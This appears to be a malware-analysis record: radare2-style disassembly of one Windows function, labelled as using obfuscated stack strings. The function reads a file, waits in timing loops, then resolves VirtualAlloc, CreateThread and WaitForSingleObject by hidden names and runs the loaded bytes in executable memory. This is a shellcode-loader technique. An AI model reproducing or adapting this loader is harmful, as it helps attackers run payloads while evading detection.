Function at 0x140002350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x200
movaps xmmword [rax - 0x38], xmm6
cmp qword [rcx + 0x18], 0x10
jb 0x140002384
mov rcx, qword [rcx]
mov r8d, 0x20
mov rdx, rcx
lea rcx, [rbp - 0x20]
call fcn.140004450
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], r13
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x24], edx
mov rax, qword [rbp - 0x20]
movsxd rax, dword [rax + 4]
test byte [rbp + rax - 0x10], 6
je 0x1400023e4
lea rdx, str.Failed_to_open_file_
call fcn.140004a90
mov rcx, rax
call fcn.140004d20
jmp 0x140002891
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov word [rsp + 0x38], 1
mov rax, qword [rbp + rax + 0x28]
mov qword [rsp + 0x40], rax
test rax, rax
sete byte [rsp + 0x48]
mov byte [rsp + 0x49], r14b
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r14b
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140005630
nop
lea rcx, [rbp - 0x10]
call fcn.140004360
test rax, rax
jne 0x140002486
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea r9, [rbp - 0x20]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], r14
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001e20
call fcn.140005a10
mov rbx, rax
call fcn.1400059f4
cmp rbx, 0x989680
jne 0x1400024a2
imul rsi, rax, 0x64
jmp 0x1400024bd
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
call fcn.140005a10
mov rbx, rax
call fcn.1400059f4
cmp rbx, 0x989680
jne 0x1400024d9
imul rax, rax, 0x64
jmp 0x1400024f4
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7ffffffed5fa0dfe
cmp rax, rcx
jg 0x140002512
movabs rdi, 0x12a05f200
add rdi, rax
jmp 0x14000251c
movabs rdi, 0x7fffffffffffffff
movabs r15, 0x311cdad160000
movabs r12, 0x112e0be826d694b3
movsd xmm6, qword [0x14003a9e0]
call fcn.140005a10
mov rbx, rax
call fcn.1400059f4
cmp rbx, 0x989680
jne 0x140002554
imul rbx, rax, 0x64
jmp 0x140002570
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
cmp rdi, rbx
je 0x1400025d0
jl 0x1400025d0
call fcn.140005b10
imul rcx, rax, 0x64
mov rax, rdi
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
jbe 0x140002599
add rcx, r15
jmp 0x14000259c
add rcx, rax
mov rax, r12
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x30], rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x30]
call fcn.14000693c
jmp 0x140002538
call fcn.140005a10
mov rbx, rax
call fcn.1400059f4
cmp rbx, 0x989680
jne 0x1400025ec
imul rcx, rax, 0x64
jmp 0x140002607
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rcx, rax
sub rcx, rsi
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov ecx, 0x7f149
sub ecx, edx
call fcn.1400021b0
mov r8d, eax
lea ecx, [rax - 0x7f148]
test ecx, ecx
jne 0x140002841
lea r9, [rbp - 0x23]
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140002650
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], dl
lea rax, [rbp - 0x23]
cmp r9, rax
je 0x1400026aa
lea r8, [rbp - 0x23]
sub r8, r9
mov rdx, r9
lea rcx, [rbp - 0x58]
call fcn.140001f50
nop
lea r8, [rbp - 0x58]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400020b0
nop
lea rsi, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rsi, qword [rsp + 0x70]
mov rbx, qword [rbp - 0x80]
mov dword [rsp + 0x40], 0x74726956
mov dword [rsp + 0x44], 0x416c6175
mov dword [rsp + 0x48], 0x636f6c6c
mov byte [rsp + 0x4c], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call rax
mov rdi, rax
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call fcn.140009260
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call rax
mov rbx, rax
movdqa xmm0, xmmword [str.WaitForSingleObj]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0xffffffff
mov rcx, rbx
call rax
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400027f4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002923
call fcn.140007228
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140002841
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000283b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002929
call fcn.140007228
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14000287e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002879
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000291d
call fcn.140007228
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x20], r13
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x10]
call fcn.140003ba0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x90]
call fcn.1400064ec
nop
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400112cc
nop
call fcn.1400112cc
nop
call fcn.1400112cc
int3